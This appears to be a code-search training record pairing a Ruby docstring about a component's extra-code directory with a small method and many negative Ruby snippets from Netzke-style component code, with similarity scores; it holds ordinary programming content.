:north,\n :height => 35,\n :html => %Q{\n <div style=\"margin:10px; color:#333; text-align:center; font-family: Helvetica;\">\n Simple <span style=\"color:#B32D15\">Netzke</span> app\n </div>\n },\n # TODO: this has no effect anymore:\n # :bodyStyle => {:background => \"#AAA url(\\\"/images/header-deco.gif\\\") top left repeat-x\"}\n },{\n :region => :center,\n :layout => 'border',\n :items => config.items\n }]\n end", "def configure\n yield(configuration) if block_given?\n\n self.client = Client.new(configuration)\n report_status\n client\n end", "def update_options_with_class!(options, klass)\n @template.update_options_with_class!(options, klass)\n end", "def klass\r\n unless @klass\r\n require class_file\r\n @klass = lookup_class\r\n @klass.spec = self\r\n end\r\n @klass\r\n end" ]
[ "0.6208662", "0.5702407", "0.55793685", "0.55435836", "0.5534328", "0.5418085", "0.5378345", "0.53714126", "0.52870744", "0.52784985", "0.5205428", "0.51389766", "0.5063481", "0.5063053", "0.5034326", "0.5025482", "0.5014208", "0.4975403", "0.49713236", "0.49398336", "0.49367678", "0.49346274", "0.49278206", "0.49278206", "0.49151668", "0.49151668", "0.49061677", "0.48978123", "0.48903477", "0.48796374", "0.48594192", "0.48532903", "0.48532903", "0.48532903", "0.48532903", "0.48532903", "0.48532903", "0.48532003", "0.4849744", "0.48049337", "0.47913513", "0.47858644", "0.47819346", "0.47780097", "0.47717258", "0.4771668", "0.47642684", "0.476044", "0.4760313", "0.4760148", "0.47595504", "0.4757262", "0.47551036", "0.47551036", "0.47476876", "0.47391093", "0.47331077", "0.47331077", "0.47315034", "0.47248763", "0.46871725", "0.46822807", "0.46717426", "0.46524578", "0.46352887", "0.46234497", "0.4617161", "0.46132407", "0.46132407", "0.46081465", "0.45930573", "0.45892623", "0.45829737", "0.45786512", "0.4577419", "0.45647025", "0.4555946", "0.45521834", "0.45410052", "0.45410052", "0.4531317", "0.4531317", "0.45294243", "0.45290998", "0.4528394", "0.45180216", "0.4511187", "0.45105246", "0.45104718", "0.45063016", "0.45063016", "0.4500169", "0.44993964", "0.44859126", "0.44827268", "0.4479872", "0.44765005", "0.44735813", "0.44706628", "0.446622" ]
0.7153891
0
Path to the dir with this component/extension's extra code (ruby modules, scripts, stylesheets)
def dir(cllr) cllr.split('.rb:').first.to_s end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def user_load_path\n File.join(Plugins.site.source, Plugins.custom_dir, dir, File.dirname(file)).sub /\\/\\.$/, ''\n end", "def bundled_path\n File.dirname Wisp::Source.bundled_path\n end", "def extension_dir\n @extension_dir ||= File.expand_path(File.join(extensions_dir, full_name)).tap(&Gem::UNTAINT)\n end", "def src_path\n File.dirname(__FILE__)\nend", "def src_path\n File.dirname(__FILE__)\nend", "def file_path(append_extension = true)\n\t\tpath = SOLUTION_PATH + folder_name + class_name\n\t\tpath += '.java' if append_extension\n\t\treturn path\n\tend", "def local_path\n File.join([\"Subassemblies\", \"#{self.name}.craft\"])\n end", "def plugin_directory; end", "def relative_directory; end", "def compiled_path; end", "def source_path; end", "def my_path\n File.expand_path(File.dirname(__FILE__))\n end", "def source_code_dir\n return pretty_path(File.join(Dir::COMMON_APPDATA, 'RightScale', 'src'))\n end", "def additional_folders\n ['lib']\n end", "def base_dir; end", "def base_dir; end", "def base_dir; end", "def base_dir; end", "def base_dir; end", "def base_dir; end", "def base_dir; end", "def path\n @backend.lib_dir + name_on_disk\n end", "def path\n Rails.root.join(ROOT, type, name, executable).to_s\n end", "def output_file_relative_path\n case app_type\n when 'react' then 'src/App.js'\n else \"app.js\"\n end\n end", "def past_scripts_path\n File.join(RIGHT_LINK_SPEC_HELPER_TEMP_PATH, '__past_scripts.js')\n end", "def bundle_dir\n File.expand_path(File.join(Bixby.repo_path, self.relative_path))\n end", "def get_web_sample_path()\n\t\treturn backslashify(File.join(Dir.pwd, WEB_SAMPLE_DIR))\n\tend", "def relative_path(options = {})\n File.join(self.site.content_dir(options), sanitize_filename(self.name))\n end", "def dir\n File.dirname(__FILE__)\n end", "def component_src_path(cmp)\n File.join WORK_PATH, 'src', cmp\nend", "def component_src_path(cmp)\n File.join WORK_PATH, 'src', cmp\nend", "def core_dir\n return File.absolute_path(File.join(@root_dir, 'lib', 'openstudio', 'extension', 'core'))\n end", "def assets_path() = self.class.name.demodulize.delete_suffix('Generator').underscore", "def chef_file_path\n File.join(RIGHT_LINK_SPEC_HELPER_TEMP_PATH, '__chef.js')\n end", "def source_paths\n [__dir__]\nend", "def source_paths\n [__dir__]\nend", "def extensions_dir\n Gem.default_ext_dir_for(base_dir) ||\n File.join(base_dir, 'extensions', Gem::Platform.local.to_s,\n Gem.extension_api_version)\n end", "def executable_path; end", "def append_paths\n @append_paths ||= begin\n file = method(:components).source_location.first.sub('/wedge.rb', '')\n Wedge::Opal.append_path file\n Wedge::Opal.append_path Dir.pwd\n end\n end", "def source_path\n File.join(File.expand_path('../../', __FILE__), 'vendor', 'sg_node_mapper', 'nodemapper.js')\n end", "def work_dir; end", "def context_dir\n File.join(DOTDIR, package)\n end", "def friendly_path\n case type\n when :gem then\n parent = File.expand_path '..', @path\n \"gem #{File.basename parent}\"\n when :home then RDoc.home\n when :site then 'ruby site'\n when :system then 'ruby core'\n else @path\n end\n end", "def this_file_path\n Pathname.new( __FILE__ ).expand_path\n end", "def append_paths\n @append_paths ||= begin\n Wedge::Opal.append_path method(:assets_url).source_location.first.sub('/wedge.rb', '')\n Wedge::Opal.append_path \"#{Dir.pwd}/#{config.app_dir}\"\n end\n end", "def path= dir\n @path = dir\n\n # @sprockets = Locomotive::Mounter::Extensions::Sprockets.environment\n # %w(fonts stylesheets javascripts).each do |name|\n # @sprockets.append_path File.join(dir, 'public', name)\n # end\n end", "def path\n name + extension\n end", "def short_path\n self.path =~ /^(javascripts|stylesheets|fonts)\\/(.*)$/\n $2\n end", "def enclosed_directory\n \".\"\nend", "def package_scripts_path\n \"#{Config.project_root}/package-scripts/#{name}\"\n end", "def pathSourceDemo\n\t\"./demo/\"\nend", "def my_dir\n File.dirname(__FILE__)\nend", "def package_path(extension='.gem')\n File.join(package_dir, package_basename(extension))\n end", "def bundle_src_folder\n \"bundle_src_id_\" + self.id.to_s\n end", "def components_js\n Dir[src_path.join('components', '**', '*.js').to_s]\n end", "def source\n case type\n when :gem then File.basename File.expand_path '..', @path\n when :home then 'home'\n when :site then 'site'\n when :system then 'ruby'\n else @path\n end\n end", "def helper_path\n @helper_path ||= File.join(Mutton.template_path, 'helpers')\n end", "def output_path\n ::ManageIQ::UI::Classic::Engine.root.join('app/javascript/oldjs/locale')\n end", "def repo_path\n @repo_path ||= \"/tmp/extension-repo-#{id}\"\n end", "def PATH()\n $LOAD_MANAGER.PATH()\n end", "def src_path(path)\n app_path('src/' + path)\n end", "def plugins_path; end", "def source_paths\n Array(super) + [__dir__]\nend", "def code\n path\n end", "def dir_base\n File.expand_path(File.dirname(__FILE__)+\"/../..\")\n end", "def expanded_path\n relative_path(dependency.berksfile.filepath)\n end", "def whereami() [__FILE__] end", "def framework_path\n File.join(config.build_products_dir, name)\n end", "def connectorj_dir\n ::File.join(new_resource.base_dir, 'modules', 'system', 'layers', 'base', 'com', 'mysql', 'main')\n end", "def relative_path\n File.join(@repo, @bundle)\n end", "def append_paths\n @append_paths ||= begin\n Wedge::Opal.append_path method(:assets_url).source_location.first.sub('/wedge.rb', '')\n Wedge::Opal.append_path \"#{Dir.pwd}/#{config.app_dir}\"\n\n true\n end\n end", "def php_helper_path\n project_root = File.join(File.dirname(__FILE__), \"../../../../..\")\n File.join(project_root, \"helpers/php/bin/run.php\")\n end", "def php_helper_path\n project_root = File.join(File.dirname(__FILE__), \"../../../../..\")\n File.join(project_root, \"helpers/php/bin/run.php\")\n end", "def path\n File.join Dubya.root_path, 'vendor/wiki'\n end", "def local_path\n check_and_copy_local_file_to_rails_public\n File.join('ajaxlibs', library_name, version, file_name)\n end", "def static_content_path(file, flavor)\n File.expand_path(\n File.join(\n File.dirname(file), '..', '..', '..', 'shared', 'flavor', flavor\n )\n )\n end", "def vendor_dir; end", "def plugin_dir(path:)\n add option: \"-plugin-dir=#{path}\"\n end", "def __dir__\n File.expand_path('..', __FILE__)\n end", "def pathDistSource\n\tpathDist + \"source/\"\nend", "def source_dir\n Dir.pwd\nend", "def source_root\n FilePath.new(build_module.root, name).canonicalize\n end", "def eponymous_directory_path\n path.sub(ext, '/').sub(/\\/$/, '') + '/'\n end", "def helper_target_dir\n helper_source_dir\n end", "def template_path(extension)\n File.expand_path('../../../views/renderers/' + @dirname + '/' + @placeholder + '.' + extension, __FILE__)\n end", "def specific_manifest_file_path\n \"#{get_formatted_controller_name}-#{get_formatted_action_name}\"\n end", "def source_paths\n Array(super) + \n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n Array(super) + \n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n Array(super) + \n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n Array(super) +\n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n Array(super) +\n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n Array(super) +\n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n Array(super) +\n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n Array(super) +\n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n Array(super) +\n [File.expand_path(File.dirname(__FILE__))]\nend", "def active_path\n if script = script_object()\n if path = script.path\n return path.dup\n end\n end\n\n # If for some reason that didn't work, return the compile time filename.\n method.file.to_s\n end", "def gem_dir # :nodoc:\n super\n end", "def public_path\n \"themes/#{self.dir}\"\n end", "def user_file_path(file)\n path = \"#{Settings.source_dir}/#{file}\"\n ext = \".#{Settings.partials_extension}\"\n return path if path.end_with? ext\n\n \"#{path}#{ext}\"\n end", "def gem_build_complete_path # :nodoc:\n File.join extension_dir, 'gem.build_complete'\n end", "def path(rel)\n File.join(File.dirname(__FILE__), \"..\", rel)\nend" ]
[ "0.6678933", "0.6673618", "0.6414921", "0.6330639", "0.6330639", "0.6274309", "0.6274045", "0.6197689", "0.6196215", "0.6175317", "0.6157382", "0.6144832", "0.613333", "0.61244726", "0.611166", "0.611166", "0.611166", "0.611166", "0.611166", "0.611166", "0.611166", "0.6055556", "0.60517055", "0.602072", "0.601591", "0.6008121", "0.6002335", "0.6001539", "0.59935004", "0.59773296", "0.59773296", "0.59691674", "0.5964258", "0.59627753", "0.59379464", "0.59379464", "0.59170693", "0.5913888", "0.59108114", "0.5907788", "0.59019935", "0.5901509", "0.5899625", "0.5889253", "0.58838457", "0.58817697", "0.586723", "0.58621764", "0.58593166", "0.5858952", "0.5857387", "0.5855606", "0.58538854", "0.58529156", "0.5845273", "0.5824677", "0.58056253", "0.57899123", "0.5778826", "0.57761496", "0.5773604", "0.57721096", "0.5766377", "0.5764565", "0.57567775", "0.57548094", "0.57526785", "0.57525736", "0.57444745", "0.57202303", "0.57193524", "0.5711222", "0.5711222", "0.5710757", "0.57088757", "0.5707785", "0.5706379", "0.5705519", "0.5703364", "0.569853", "0.5694503", "0.5693861", "0.5689317", "0.5688672", "0.5685394", "0.56826895", "0.5682605", "0.5682605", "0.5682605", "0.56799555", "0.56799555", "0.56799555", "0.56799555", "0.56799555", "0.56799555", "0.56643623", "0.56604683", "0.5658822", "0.5657488", "0.5656328", "0.5653422" ]
0.0
-1
Global id in the component tree, following the doubleunderscore notation, e.g. +books__config_panel__form+
def js_id @js_id ||= parent.nil? ? @item_id : [parent.js_id, @item_id].join('__') end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def dom_id\n \"#{self.class.name.gsub(/:+/,\"_\")}_#{self.object_id}\"\n end", "def dom_id\n \"_#{self.object_id}\"\n end", "def id_base\n \"#{@page_config.name}_#{parent_field_id}#{@field_name}\"\n end", "def dom_id\n display_id = new_record? ? \"new\" : id\n prefix = prefix.nil? ? self.class.name.underscore : \"#{prefix}_#{self.class.name.underscore}\"\n prefix.gsub!('/', '_')\n \"#{prefix}_#{display_id}\"\n end", "def id\n @id || self.class.name.underscore.split('/').last #gsub('/', '_')\n end", "def ext_id id\n \"#{@master_node}|#{id}\"\n end", "def global_id_by_reference(ref)\n ref = ref.to_s\n return parent && parent.global_id if ref == \"parent\"\n substr = ref.sub(/^parent__/, \"\")\n if substr == ref # there's no \"parent__\" in the beginning\n return global_id + \"__\" + ref\n else\n return parent.global_id_by_reference(substr)\n end\n end", "def global_id_by_reference(ref)\n ref = ref.to_s\n return parent && parent.global_id if ref == \"parent\"\n substr = ref.sub(/^parent__/, \"\")\n if substr == ref # there's no \"parent__\" in the beginning\n return global_id + \"__\" + ref\n else\n return parent.global_id_by_reference(substr)\n end\n end", "def id\n \"#{kind}_#{@id}\"\n end", "def id\n \"#{kind}_#{@id}\"\n end", "def id\n config[:id] || Origen.target.name\n end", "def id\n config[:id] || Origen.target.name\n end", "def global_id_by_reference(ref)\n ref = ref.to_s\n return parent && parent.global_id if ref == \"parent\"\n substr = ref.sub(/^parent__/, \"\")\n if substr == ref # there's no \"parent__\" in the beginning\n return global_id + \"__\" + ref\n else\n return parent.global_id_by_reference(substr)\n end\n end", "def form_element_id\n \"#{self.model_name}_#{self.column_name}\"\n end", "def comp_id\n @comp_id ||= Component.next_comp_id\n end", "def component_id\n if self.urn\n return GURN.create(self.urn, { :model => self.class })\n else\n return GURN.create(self.name, { :model => self.class })\n end\n end", "def id\n name.gsub /-/, '_'\n end", "def self_param_id\n \"#{name.underscore}_id\".to_sym\n end", "def self_param_id\n \"#{name.underscore}_id\".to_sym\n end", "def self_param_id\n \"#{name.underscore}_id\".to_sym\n end", "def id_for(_name, _id=nil)\n n = \"#{@object_name}_#{_name}\"\n n += \"_#{_id}\" if _id\n end", "def dom_id(object)\n object.class.to_s.tableize + '_' + object.id.to_s\n end", "def _id\n @id\n end", "def id_for(field_name)\n if name = @form_args[:name]\n \"#{name}_#{field_name}\".downcase.gsub(/-/, '_')\n else\n \"form_#{field_name}\".downcase.gsub(/-/, '_')\n end\n end", "def globally_unique_identifier\n super\n end", "def id\n attr_val('cda:act/cda:id/@root')\n end", "def id\n \"#{controller.url}/#{name}\"[1..-1].gsub('/', '_')\n end", "def __object_unique_id__\n name\n end", "def __object_unique_id__\n name\n end", "def parent_field_id\n return '' unless @field_config[:parent_field]\n\n \"#{@field_config[:parent_field]}_\"\n end", "def __id__() end", "def dom_id\n form_node['id']\n end", "def control_id\n \"#{rel.name}_ctl\"\n end", "def id\n @attributes[\"#{self.class.to_s.split('::').last.underscore.downcase}_id\".to_sym]\n end", "def id\n \"#{design.id}.#{version.id}\"\n end", "def id()\n #This is a stub, used for indexing\n end", "def id\n super.to_s.tr('.', '_')\n end", "def identifier\n @identifier ||= \"#{self.type_prefix}.#{Model::to_id @schema.title}.#{Model::to_id name}\"\n end", "def idpath; @idpath ||= define_idpath end", "def field_id(suffix = nil)\n extra = suffix ? \"_#{suffix}\" : ''\n\n %(id=\"#{id_base}#{extra}\")\n end", "def widget_id\n [type.to_s, id.to_s].join('_')\n end", "def dom_id(object, prefix=nil)\n \"#{prefix ? prefix.to_s + '_' : nil}#{object.class.name}_#{object.id}\"\n end", "def id() end", "def model_identifier\n raise 'Invalid' unless id\n \"#{self.class.name}##{id}\"\n end", "def dom_id; end", "def dom_id; end", "def dom_id; end", "def dom_id; end", "def i18n_id\n name.split(\"::\").map{|c| c.underscore}.join(\".\")\n end", "def id\n (read_property 'Id') || name\n end", "def id\n\t\t@id ||= \"#{page_id.nil? ? 0 : page_id}_#{part}_#{position}\"\n\tend", "def unique_id\n \"name-#{@language_id}-#{@name_id}\"\n end", "def system_id\n super\n end", "def id\n @id ||= self.class.model_name.name.downcase\n end", "def identifier\n @identifier ||= \"#{self.type_prefix}.#{Model::to_id(name)}\"\n end", "def id\n name\n end", "def input_dom_id(key)\n \"#{object_name}_#{key.to_s}\"\n end", "def gid\n \"##{id}\"\n end", "def id\n raise NotConfiguredError, \"please configure DCell with DCell.setup\" unless @configuration\n @configuration['id']\n end", "def wrapper_id\n %(id=\"#{id_base}_field_wrapper\")\n end", "def id\n __id\n end", "def model_id(model)\n \"#{model.class.name}_#{model.id}\"\n end", "def model_id(model)\n \"#{model.class.name}_#{model.id}\"\n end", "def object_id() end", "def parent_id_name\n \"#{@parent.class.name.downcase}_id\"\n end", "def css_id name\n attr \"##{name}\"\n end", "def my_input_id\n \"#{self.form.object_name}_#{self.field}\"\n end", "def id\n name\n end", "def id\n name\n end", "def component_manager_id\n self.class.default_component_manager_id\n end", "def element_dom_id(element)\n return \"\" if element.nil?\n \"#{element.name}_#{element.id}\"\n end", "def id\n name.gsub(':', '-')\n end", "def element_id what\n \"#{object_type}_#{what}\"\n end", "def id_for(obj)\n \"#{obj.class.name.underscore}-#{obj.id}\"\n end", "def get_oid\n \"wee_#{@canvas.current_component.object_id}\"\n end", "def static_module_id\n static_module.id\n end", "def app_id\n self.class.send :class_variable_get, :@@app_id\n end", "def id\n @entry.at_xpath('cda:act/cda:id/@root').value\n end", "def dom_id\n\t\tnode['id']\n\tend", "def __id; @id || @obj.id; end", "def local_id; end", "def global_entity\n contained_object.to_global_id if contained_object.present?\n end", "def id\n \"p-#{resource.id}\"\n end", "def id(path)\n if @root\n fs_id = @root.node_id(path)\n \" <#{fs_id.unparse}>\"\n else\n \"\"\n end\n end", "def module_id ; @module_id ||= get(:module_id) end", "def id\n return unless class_variable_defined? :@@id\n class_variable_get :@@id\n end", "def id\n # Note that below method is from FormTagHelper\n @id ||= field_id(@builder.object_name, @method, index: @builder.index)\n end", "def make_id\n \"#{self.class.name.downcase}#{id}\"\n end", "def id\n basename.gsub('.', '-')\n end", "def html_id_for obj\n return '' if obj.nil?\n \"#{obj.model_name.element.dasherize}-#{obj.id}\"\n end", "def element_dom_id(element)\n return \"\" if element.nil?\n \"#{element.name}_#{element.id}\".html_safe\n end", "def dom_id\n node['id']\n end", "def id\n read_attr :id, :to_sym\n end", "def sub_id() @tag.sub( /.*_/, '' ) end", "def sub_id() @tag.sub( /.*_/, '' ) end", "def default_key\n :\"#{self[:model].name.to_s.demodulize.underscore}_id\"\n end", "def id\n @gid\n end", "def html_form_id\n \"#{@form.name}:#{@screen.name}:#{@name}\"\n end", "def id\n self[:identifier]\n end", "def identifier\n @identifier ||= \"#{ATTRIBUTE_PREFIX}.#{Model::to_id @schema_ref}.#{Model::to_id @reference}\"\n end" ]
[ "0.7031049", "0.69950145", "0.69584197", "0.67088157", "0.6668455", "0.66666585", "0.6653173", "0.6653173", "0.6644294", "0.6644294", "0.66230524", "0.66230524", "0.6615821", "0.65496635", "0.6514409", "0.64836836", "0.644023", "0.63965625", "0.63965625", "0.63965625", "0.63746256", "0.6361814", "0.6341694", "0.6319958", "0.6318795", "0.62821776", "0.6267407", "0.62670773", "0.62670773", "0.6243549", "0.6202518", "0.6202305", "0.6189078", "0.61804456", "0.6169707", "0.615875", "0.61550623", "0.6142104", "0.61061156", "0.60748065", "0.6074712", "0.60723054", "0.6058364", "0.60555786", "0.6055094", "0.6055094", "0.6055094", "0.6055094", "0.60501486", "0.60491526", "0.6040963", "0.60290205", "0.6014172", "0.6007295", "0.60046387", "0.59875524", "0.5984443", "0.5968273", "0.5961208", "0.59552765", "0.5949717", "0.5947126", "0.5947126", "0.5941332", "0.5939476", "0.59365934", "0.59326935", "0.59293205", "0.59293205", "0.59224546", "0.5913614", "0.5912648", "0.5911739", "0.5910792", "0.59066564", "0.5885785", "0.58765197", "0.58617014", "0.58589697", "0.5856975", "0.5847914", "0.5839214", "0.58380246", "0.58380055", "0.58368534", "0.58309317", "0.5829262", "0.58289397", "0.582019", "0.5812762", "0.5812305", "0.5800713", "0.57987565", "0.5790665", "0.5790665", "0.5786918", "0.5778056", "0.5775142", "0.57711196", "0.5769408" ]
0.6100617
39
Ext.createByAlias may be used to instantiate the component.
def js_alias self.class.client_class_config.class_alias end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def alias_create(al)\n obj_create al, Alias\n end", "def create_component(name)\n Backlogjp::Component.create(self, name)\n end", "def [](name, *args)\n component = components[name.to_sym]\n\n component.klass.new(*args)\n end", "def component(name, comp, &block)\n component = comp.is_a?(Class) ? comp.new(nil) : Component.new(comp)\n component.instance_eval(&block) if block\n self << component\n instance_variable_set \"@#{name}\", component\n\n return if respond_to?(name)\n define_singleton_method name do\n instance_variable_get(\"@#{name}\")\n end\n end", "def create(name)\n raise ArgumentError.new(\"invalid adapter name\") unless self.class.name_is_valid?(name)\n klass = Sms::Adapters.const_get(\"#{name}Adapter\")\n klass.new\n end", "def add_alias an_alias, context = nil\n method = self.class.new an_alias.text, an_alias.new_name\n\n method.record_location an_alias.file\n method.singleton = self.singleton\n method.params = self.params\n method.visibility = self.visibility\n method.comment = an_alias.comment\n method.is_alias_for = self\n @aliases << method\n context.add_method method if context\n method\n end", "def component_template(component)\n component.id_handle(id: component[:ancestor_id]).create_object\n end", "def create_alias(create_alias_options, opts = {})\n data, _status_code, _headers = create_alias_with_http_info(create_alias_options, opts)\n data\n end", "def component_instance(name_or_config, overrides = {})\n cfg = name_or_config.is_a?(Hash) ? name_or_config : component_config(name_or_config, overrides)\n return nil if cfg.nil? || cfg[:excluded]\n\n klass = cfg.klass || cfg.class_name.constantize\n klass.new(cfg, self)\n end", "def new(components)\n self.class.new(self, components)\n end", "def component_new(name, outer: nil, inner: nil, &block)\n inner ||= idnt\n outer ||= idnt\n @doc_state[:components][name] = proc { |val|\n outer.( yield(inner.(val)) )\n }\n noth\n end", "def component_instance(name, strong_config = {})\n composite = self\n name.to_s.split('__').each do |cmp|\n cmp = cmp.to_sym\n\n component_config = composite.components[cmp]\n raise ArgumentError, \"No child component '#{cmp}' defined for component '#{composite.global_id}'\" if component_config.nil?\n\n component_class_name = component_config[:class_name]\n raise ArgumentError, \"No class_name specified for component #{cmp} of #{composite.global_id}\" if component_class_name.nil?\n\n component_class = constantize_class_name(component_class_name)\n raise ArgumentError, \"Unknown constant #{component_class_name}\" if component_class.nil?\n\n instance_config = weak_children_config.merge(component_config).merge(strong_config).merge(:name => cmp)\n\n composite = component_class.new(instance_config, composite) # params: config, parent\n end\n composite\n end", "def into_generic()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Component.new(Native.TitleComponent_into_generic(@handle.ptr))\n @handle.ptr = nil\n result\n end", "def create_alias(node)\n alias_model = @factory.new_alias\n alias_model.name = node.text\n if node.attributes['type']\n alias_model.type = Utils.add_namespace(node.attributes['type'])\n end\n alias_model.script = node.attributes['script']\n return alias_model\n end", "def component(component_name)\n InvokableComponent.new(job, environment, scope.component(component_name))\n end", "def component_instance(name, strong_config = {})\n @cached_component_instances ||= {}\n @cached_component_instances[name] ||= begin\n composite = self\n name.to_s.split('__').each do |aggr|\n aggr = aggr.to_sym\n component_config = composite.components[aggr]\n raise ArgumentError, \"No component '#{aggr}' defined for component '#{composite.global_id}'\" if component_config.nil?\n short_component_class_name = component_config[:class_name]\n raise ArgumentError, \"No class_name specified for component #{aggr} of #{composite.global_id}\" if short_component_class_name.nil?\n component_class = constantize_class_name(short_component_class_name)\n\n conf = weak_children_config.\n deep_merge(component_config).\n deep_merge(strong_config). # we may want to reconfigure the component at the moment of instantiation\n merge(:name => aggr)\n\n composite = component_class.new(conf, composite) # params: config, parent\n # composite.weak_children_config = weak_children_config\n # composite.strong_children_config = strong_children_config\n end\n composite\n end\n end", "def make_entity(props = {})\n AbcDef.new(props)\n end", "def alias(name)\n @db.open_class(name) do |c|\n c.type = @klass.type\n c.library = @library\n c.aliasof = @klass\n c.source = \"Alias of [[c:#{@klass.name}]]\\n\"\n @library.add_class c\n @klass.alias c\n end\n end", "def create_module_alias container, constant, rhs_name # :nodoc:\n mod = if rhs_name =~ /^::/ then\n @store.find_class_or_module rhs_name\n else\n container.find_module_named rhs_name\n end\n\n container.add_module_alias mod, rhs_name, constant, @top_level\n end", "def create_component_file\n extension = \"js.jsx\"\n file_path = File.join('app/assets/javascripts/components', \"#{file_name}.#{extension}\")\n template(\"component.#{extension}\", file_path)\n end", "def create_alias(new_name, old_type)\n register(validate_type_argument(old_type), name: new_name)\n end", "def create_alias_tc(id, name, original_type)\n return CORBA::TypeCode::Alias.new(id.to_s.freeze, name.to_s, nil, original_type)\n end", "def create\n super\n push_binding(instance_eval(\"#{name.to_s}\"))\n end", "def create\n name_to_const.new\n end", "def into_generic()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Component.new(Native.CurrentPaceComponent_into_generic(@handle.ptr))\n @handle.ptr = nil\n result\n end", "def create_widget\n widget_class.new(widget_assigns)\n end", "def ext_create(opts = {})\n ext_api = ActiveExtAPI::StoreCreate.new self\n ext_api.create opts\n end", "def create_aliased_definition(my_object, new_alias)\n Proc.new { |*args|\n block = nil\n if Proc === args.last\n block = args.last\n args = args[0...-1]\n end\n my_object.send(new_alias, *args, &block)\n }\n end", "def get_by_alias(alias_name, args = {})\n #check if asked dynamic alias exists\n raise ArgumentError, \"Unknown dynamic alias: '#{alias_name}', use: #{redis_alias_config.keys.join(\", \")} \" unless redis_alias_config.has_key?(alias_name.to_sym)\n\n #normalize input hash of arguments\n args = HashWithIndifferentAccess.new(args)\n\n klass = self.name.constantize\n if klass.valid_alias_key?(alias_name, args) && klass.alias_exists?(alias_name, args)\n out = []\n RedisModelExtension::Database.redis {|r| r.smembers(klass.generate_alias_key(alias_name, args)) }.each do |key|\n item = klass.new_by_key(key)\n out << item if item\n end\n return out\n end\n nil\n end", "def create_engine(params={})\n text, prefix = parameters(params, :text, :prefix)\n\n cached(prefix, text) do\n Class.new(::Erector::Widget) do\n module_eval %{\n def #{prefix}; self; end\n } if prefix\n\n module_eval %{\n def content\n #{text}\n end\n }\n end\n end\n end", "def alias_identity(_, new_identity)\n %(mixpanel.alias(\"#{new_identity}\");)\n end", "def create(alias_id, format=:string)\n raise \"Alias cannot be nil\" if alias_id.nil?\n # create then map.\n rid = do_rpc({:id=>1,\n :procedure=>:create,\n :arguments=>[:dataport,\n {:format=>format,\n :name=>alias_id,\n :retention=>{:count=>1,:duration=>:infinity}\n }\n ]\n })\n return rid unless not rid.kind_of?(String) or rid.match(/\\p{XDigit}{40}/)\n\n do_rpc({:id=>1,\n :procedure=>:map,\n :arguments=>[:alias, rid, alias_id]\n })\n end", "def register_component(dsl_method, component_class)\n # Matestack::Ui::Component.register({ dsl_method => component_class })\n Matestack::Ui::Core::Base.define_method(dsl_method) do |text = nil, options = {}, &block|\n component_class.call(text, options, &block)\n end\n end", "def alias(name)\n Column.new(jcolumn.as(name))\n end", "def into_generic()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Component.new(Native.GraphComponent_into_generic(@handle.ptr))\n @handle.ptr = nil\n result\n end", "def start(klass, *args)\n # Get the hardcore alias.\n hals = \"#{klass}\" + klass.hardcore_alias(*args)\n\n # Has a service already been constructed for this guy? If so, increment\n # its reference count like it aint no thang.\n if (inst = self[hals])\n inst.ref\n return inst\n end\n\n inst = klass.new(*args)\n als = inst.alias\n\n # Find an alias that isn't taken.\n if (self[als])\n cnt = 1\n cnt += 1 while (self[als + \" #{cnt}\"])\n als = inst.alias + \" #{cnt}\"\n end\n\n # Extend the instance as a service.\n inst.extend(Rex::Service)\n\n # Re-aliases the instance.\n inst.alias = als\n\n # Fire up the engines. If an error occurs an exception will be\n # raised.\n inst.start\n\n # Alias associate and initialize reference counting\n self[als] = self[hals] = inst.refinit\n\n # Pass the caller a reference\n inst.ref\n\n inst\n end", "def add_alias(an_alias, context)\n new_attr = self.class.new(self.text, an_alias.new_name, self.rw,\n self.comment, self.singleton)\n\n new_attr.record_location an_alias.file\n new_attr.visibility = self.visibility\n new_attr.is_alias_for = self\n @aliases << new_attr\n context.add_attribute new_attr\n new_attr\n end", "def with_class_alias(x); end", "def create_component(circuit)\n return nil if @component.nil?\n comp = @component.new(circuit) do |comp|\n @accessors.each do |arr|\n getter = arr[0]\n property = arr[2]\n property.set(comp, getter.call)\n end\n end\n\n return comp\n end", "def register_alias(type, shortcut); end", "def create_users_email_alias( user_uid, _alias )\n engines_api_system.create_users_email_alias( user_uid,\n { address: \"#{_alias[:local_part]}@#{_alias[:domain]}\" } )\n end", "def instantiate!; end", "def into_generic()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Component.new(Native.DeltaComponent_into_generic(@handle.ptr))\n @handle.ptr = nil\n result\n end", "def alias(a)\n Registry.alias_command(self, a)\n end", "def into_generic()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Component.new(Native.BlankSpaceComponent_into_generic(@handle.ptr))\n @handle.ptr = nil\n result\n end", "def create_cell_for(controller, name, opts={})\n class_from_cell_name(name).new(controller, opts)\n end", "def create_cell_for(controller, name, opts={})\n class_from_cell_name(name).new(controller, opts)\n end", "def alias(alias_name)\n clone.alias! alias_name\n end", "def for(name)\n (@alias_map ||= {})[name] ||= version_class(name)\n end", "def create_mock( name )\n return flexmock( name )\n\tend", "def initialize(component)\n @component=component\n end", "def component_locator\n \"#\" + self.class.name.gsub(/::/, '/').\n gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').\n gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').\n tr(\"-\", \"_\").\n gsub('/', '-').\n downcase\n end", "def into_generic()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Component.new(Native.TimerComponent_into_generic(@handle.ptr))\n @handle.ptr = nil\n result\n end", "def create(id, alas = nil)\n contact = contacts[id]\n unless alas.nil? || alas.empty?\n contact.alias = alas\n end # alas.nil? || alas.empty?\n contact\n end", "def create_instance()\n # If the 